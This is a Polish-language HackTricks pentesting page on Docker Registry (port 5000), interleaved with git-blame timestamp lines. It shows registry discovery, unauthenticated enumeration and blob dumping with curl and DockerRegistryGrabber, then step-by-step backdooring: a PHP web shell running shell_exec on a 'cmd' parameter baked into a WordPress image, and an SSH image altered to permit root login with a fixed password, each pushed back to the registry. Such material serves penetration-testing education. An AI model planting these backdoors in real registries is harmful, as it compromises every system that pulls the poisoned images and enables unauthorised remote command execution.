2024-02-11 01:46:25 +00:00
# 5000 - Testowanie penetracyjne rejestru Docker
2022-04-28 16:01:33 +00:00
< details >
2024-03-26 09:10:11 +00:00
< summary > < strong > Nauka hakowania AWS od zera do bohatera z< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-03-26 09:10:11 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** , sprawdź [**PLANY SUBSKRYPCYJNE** ](https://github.com/sponsors/carlospolop )!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks** ](https://peass.creator-spring.com )
* Odkryj [**Rodzinę PEASS** ](https://opensea.io/collection/the-peass-family ), naszą kolekcję ekskluzywnych [**NFT** ](https://opensea.io/collection/the-peass-family )
* **Dołącz do** 💬 [**grupy Discord** ](https://discord.gg/hRep4RUj7f ) lub [**grupy telegramowej** ](https://t.me/peass ) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
2024-03-26 09:10:11 +00:00
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repozytoriów na GitHubie.
2022-04-28 16:01:33 +00:00
< / details >
2024-02-11 01:46:25 +00:00
## Podstawowe informacje
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
System przechowywania i dystrybucji znany jako **rejestr Docker** jest przeznaczony dla obrazów Docker, które są nazwane i mogą występować w wielu wersjach, odróżnianych za pomocą tagów. Te obrazy są zorganizowane w ramach **repozytoriów Dockera** w rejestrze, gdzie każde repozytorium przechowuje różne wersje określonego obrazu. Dostarczona funkcjonalność pozwala na pobieranie obrazów lokalnie lub przesyłanie ich do rejestru, zakładając, że użytkownik ma odpowiednie uprawnienia.
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
**DockerHub** pełni rolę domyślnego publicznego rejestru dla Dockera, ale użytkownicy mają również możliwość korzystania z wersji lokalnej otwartoźródłowego rejestru/dystrybucji Dockera lub wyboru komercyjnie wspieranego **Docker Trusted Registry** . Dodatkowo, można znaleźć różne inne publiczne rejestry online.
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
Aby pobrać obraz z rejestru lokalnego, używane jest następujące polecenie:
2024-02-08 21:36:50 +00:00
```bash
2021-01-03 00:43:09 +00:00
docker pull my-registry:9000/foo/bar:2.1
```
2024-03-26 09:10:11 +00:00
To polecenie pobiera obraz `foo/bar` w wersji `2.1` z rejestru lokalnego na domenie `my-registry` na porcie `9000` . W przeciwnym razie, aby pobrać ten sam obraz z DockerHub, zwłaszcza jeśli `2.1` jest najnowszą wersją, polecenie upraszcza się do:
2024-02-08 21:36:50 +00:00
```bash
2021-01-03 00:43:09 +00:00
docker pull foo/bar
```
2024-02-11 01:46:25 +00:00
**Domyślny port:** 5000
2021-10-18 11:21:18 +00:00
```
2021-01-03 00:43:09 +00:00
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
2024-02-11 01:46:25 +00:00
## Odkrywanie
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
Najłatwiejszym sposobem odkrycia działającej usługi jest uzyskanie jej w wyniku działania nmap. Zauważ jednak, że jako usługa oparta na HTTP może być ukryta za proxy HTTP i nmap jej nie wykryje.\
Niektóre odciski:
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
* Jeśli uzyskasz dostęp do `/` , w odpowiedzi nie zostanie zwrócone nic
* Jeśli uzyskasz dostęp do `/v2/` , zostanie zwrócone `{}`
2024-02-11 01:46:25 +00:00
* Jeśli uzyskasz dostęp do `/v2/_catalog` , możesz otrzymać:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
2021-01-03 00:43:09 +00:00
2024-02-11 01:46:25 +00:00
## Wyliczanie
2021-01-03 00:43:09 +00:00
2022-05-01 13:25:53 +00:00
### HTTP/HTTPS
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
Rejestr Docker może być skonfigurowany do użycia **HTTP** lub **HTTPS** . Więc pierwszą rzeczą, którą możesz musisz zrobić, to **znaleźć, który** jest skonfigurowany:
2021-01-03 00:43:09 +00:00
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
2024-02-11 01:46:25 +00:00
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
2021-01-03 00:43:09 +00:00
Warning: < FILE > " to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
2024-03-26 09:10:11 +00:00
### Uwierzytelnianie
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
Rejestr Docker może być również skonfigurowany do wymagania **uwierzytelniania** :
2021-01-03 00:43:09 +00:00
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
2024-03-26 09:10:11 +00:00
Jeśli Docker Registry wymaga uwierzytelnienia, możesz [spróbować je złamać używając tej metody ](../generic-methodologies-and-resources/brute-force.md#docker-registry ).\
**Jeśli znajdziesz poprawne dane uwierzytelniające, będziesz musiał je użyć** do wyliczenia rejestru, w `curl` możesz je użyć w ten sposób:
2021-01-03 00:43:09 +00:00
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
2024-02-11 01:46:25 +00:00
### Wyliczanie za pomocą DockerRegistryGrabber
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
[DockerRegistryGrabber ](https://github.com/Syzik/DockerRegistryGrabber ) to narzędzie napisane w języku Python służące do wyliczania / wycieku rejestru Docker (bez autoryzacji lub z podstawową autoryzacją)
2021-12-13 00:07:45 +00:00
```bash
2024-03-26 09:10:11 +00:00
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_ | |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --list
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump_all
2021-12-13 00:07:45 +00:00
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
2024-03-26 09:10:11 +00:00
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
[+] Dumping my-ubuntu
2024-02-11 01:46:25 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2024-03-26 09:10:11 +00:00
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
2024-03-26 09:10:11 +00:00
[+] Dumping my-ubuntu
2024-02-11 01:46:25 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
2024-03-26 09:10:11 +00:00
[+] Dumping my-ubuntu2
2024-02-11 01:46:25 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 00:07:45 +00:00
```
2024-03-26 09:10:11 +00:00
### Wyliczanie przy użyciu curl
2021-12-13 00:07:45 +00:00
2024-03-26 09:10:11 +00:00
Gdy już **uzyskasz dostęp do rejestru Docker** , oto kilka poleceń, których możesz użyć do jego wyliczenia:
2021-01-03 00:43:09 +00:00
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
2024-02-11 01:46:25 +00:00
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
2021-01-03 00:43:09 +00:00
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
2024-03-26 09:10:11 +00:00
Zauważ, że po pobraniu i rozpakowaniu plików blobów i folderów pojawią się w bieżącym katalogu. **Jeśli pobierzesz wszystkie bloby i rozpakujesz je w tym samym folderze, nadpiszą wartości z wcześniej rozpakowanych blobów** , więc bądź ostrożny. Może być interesujące rozpakować każdy blob w innym folderze, aby sprawdzić dokładną zawartość każdego bloba.
2021-01-03 00:43:09 +00:00
{% endhint %}
2024-03-26 09:10:11 +00:00
### Wyliczanie przy użyciu Dockera
2021-01-03 00:43:09 +00:00
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
2024-02-11 01:46:25 +00:00
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
2021-01-03 00:43:09 +00:00
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
2024-03-26 09:10:11 +00:00
### Dodawanie tylnych drzwi do obrazu WordPress
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
W przypadku, gdy znajdziesz Rejestr Docker zapisujący obraz WordPress, możesz go zaatakować.\
**Utwórz** **tylne drzwi** :
2021-01-03 00:43:09 +00:00
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
2024-03-26 09:10:11 +00:00
{% endcode %}
2021-01-03 00:43:09 +00:00
2024-02-11 01:46:25 +00:00
Utwórz plik **Dockerfile** :
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
{% code title="Dockerfile" %}
2021-01-03 00:43:09 +00:00
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
2024-03-26 09:10:11 +00:00
**Utwórz** nowy obraz, **sprawdź** , czy został utworzony, i **wypchnij** go:
2021-01-03 00:43:09 +00:00
```bash
2021-12-13 00:07:45 +00:00
docker build -t 10.10.10.10:5000/wordpress .
2024-02-11 01:46:25 +00:00
#Create
2021-01-03 00:43:09 +00:00
docker images
docker push registry:5000/wordpress #Push it
```
2024-02-11 01:46:25 +00:00
### Dodawanie tylnych drzwi do obrazu serwera SSH
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
Załóżmy, że znalazłeś Rejestr Docker z obrazem SSH i chcesz dodać do niego tylnie drzwi.\
**Pobierz** obraz i **uruchom** go:
2021-01-03 00:43:09 +00:00
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
2024-03-26 09:10:11 +00:00
Wydobądź plik `sshd_config` z obrazu SSH:
2021-01-03 00:43:09 +00:00
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
2024-02-11 01:46:25 +00:00
I zmodyfikuj go, aby ustawić: `PermitRootLogin yes`
2021-01-03 00:43:09 +00:00
2024-03-26 09:10:11 +00:00
Utwórz plik **Dockerfile** o następującej zawartości:
2021-01-03 00:43:09 +00:00
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
2024-03-26 09:10:11 +00:00
**Utwórz** nowy obraz, **sprawdź** , czy został utworzony, i **wypchnij** go:
2021-01-03 00:43:09 +00:00
```bash
2021-12-13 00:07:45 +00:00
docker build -t 10.10.10.10:5000/sshd-docker-cli .
2024-02-11 01:46:25 +00:00
#Create
2021-01-03 00:43:09 +00:00
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
2024-03-26 09:10:11 +00:00
## Odnośniki
2024-02-08 21:36:50 +00:00
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ ](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ )
2022-04-28 16:01:33 +00:00
< details >
2024-03-26 09:10:11 +00:00
< summary > < strong > Zacznij od zera i zostań mistrzem hakowania AWS dzięki< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-03-26 09:10:11 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** , sprawdź [**PLANY SUBSKRYPCYJNE** ](https://github.com/sponsors/carlospolop )!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks** ](https://peass.creator-spring.com )
* Odkryj [**Rodzinę PEASS** ](https://opensea.io/collection/the-peass-family ), naszą kolekcję ekskluzywnych [**NFT** ](https://opensea.io/collection/the-peass-family )
* **Dołącz do** 💬 [**grupy Discord** ](https://discord.gg/hRep4RUj7f ) lub [**grupy telegramowej** ](https://t.me/peass ) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
2024-03-26 09:10:11 +00:00
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) na GitHubie.
2022-04-28 16:01:33 +00:00
< / details >